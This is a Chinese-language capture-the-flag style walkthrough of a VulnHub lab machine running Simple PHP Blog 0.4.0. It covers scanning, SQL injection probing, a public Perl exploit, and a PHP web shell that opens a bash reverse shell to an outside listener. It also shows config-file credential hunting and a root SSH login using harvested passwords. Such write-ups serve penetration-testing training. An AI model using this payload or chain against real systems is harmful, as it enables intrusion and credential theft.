靶机来自vulnhub
内容:
sql注入
cms公开利用
php反弹shell
CMS配置文件信息收集
nmap常规扫描
根据扫描发现开放端口为22和80,其中主机系统为Ubuntu内核是linux 2.6,该内核版本较低可能存在内核提权漏洞,web服务由apache搭建,目录枚举有/blog/,/login.php,/register/
再用dirb尝试目录爆破,目录爆破发现可用目录有login,info,register,/blog/docs/,/blog/interface/,/blog/config/,/blog/content等先记录下
爆破过程中浏览网页,再注册和登录界面尝试sql注入
这里register对密码做了过滤,但是login发现登录进去了但是没有其他信息了,这里明显存在sql注入漏洞但是sql注入较难获得shell所以先记录下等待后续利用
访问/blog/发现两位置都存在注入点,但是通过尝试并不存在注入漏洞,而且知道该网站大概率由cms文件系统搭建
通过查看源码发现该cms是Simple PHP Blog 0.4.0
searchsploit Simple PHP Blog 0.4.0搜索是否有已知漏洞可以利用,上面两个均为XSS,最后一个需要使用msf实现,所以尝试第三个EXP
searchsploit Simple PHP Blog 0.4.0 -m 1191.pl下载EXP
查看EXP,没有给出使用说明直接运行pl脚本看看
sudo perl ./1191.pl(注:这里第一次运行时可能会报缺少插件的错误,直接把提示复制到浏览器,会有安装教程,sudo apt-get install libswitch-perl,安装后再次执行即可)
根据EXP使用说明(1)可以上传一个php文件,而且位置是[site]/image/,(2)可以获得密码文件,(3)可以创建一个新用户,(4)可以删除系统文件
可以直接写一个文本shell上传上去<?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.128/443 0>&1'");?>
上传后打开本地端口443端口监听sudo nc -lvnp 443
打开监听后访问/blog/image/shell.php
成功拿到shell
这里sudo -l查看权限发现要密码,这里的思路有两个,1.可以通过之前的sql注入漏洞获取密码,2.也可以通过尝试EXP的命令(1)获取密码hash
这里使用思路2,获得密码hash
尝试了几个在线解密发现hash破解不了
提权
查看/var/www路径查看CMS配置文件查看数据库的密码,发现登录不进去,配置文件中的密码登录不进数据库,但是CMS却正常运行中,只能说明这个配置文件不是目前CMS使用的配置文件(而这个配置文件可能是一个先前弃用的配置文件),那就一定还有一个配置文件配置数据库
find / -name mysqli_connect.php 2> /dev/null # 搜索配置文件
发现/var下还有一个同名配置文件
查看密码尝试登录
这里有一个Dan的用户hash破解后是killerbeesareflying
cat /etc/passwd // 发现确实存在一个Dan的用户,但是ssh登录dan尝试密码killerbeesareflying和root@ISIntS失败
虽然dan登录失败了但是之前mysql尝试登录root/root@ISIntS成功了,所以ssh也可以尝试用root@ISIntS和killerbeesareflying登录root看看,发现用root@ISIntS登录成功了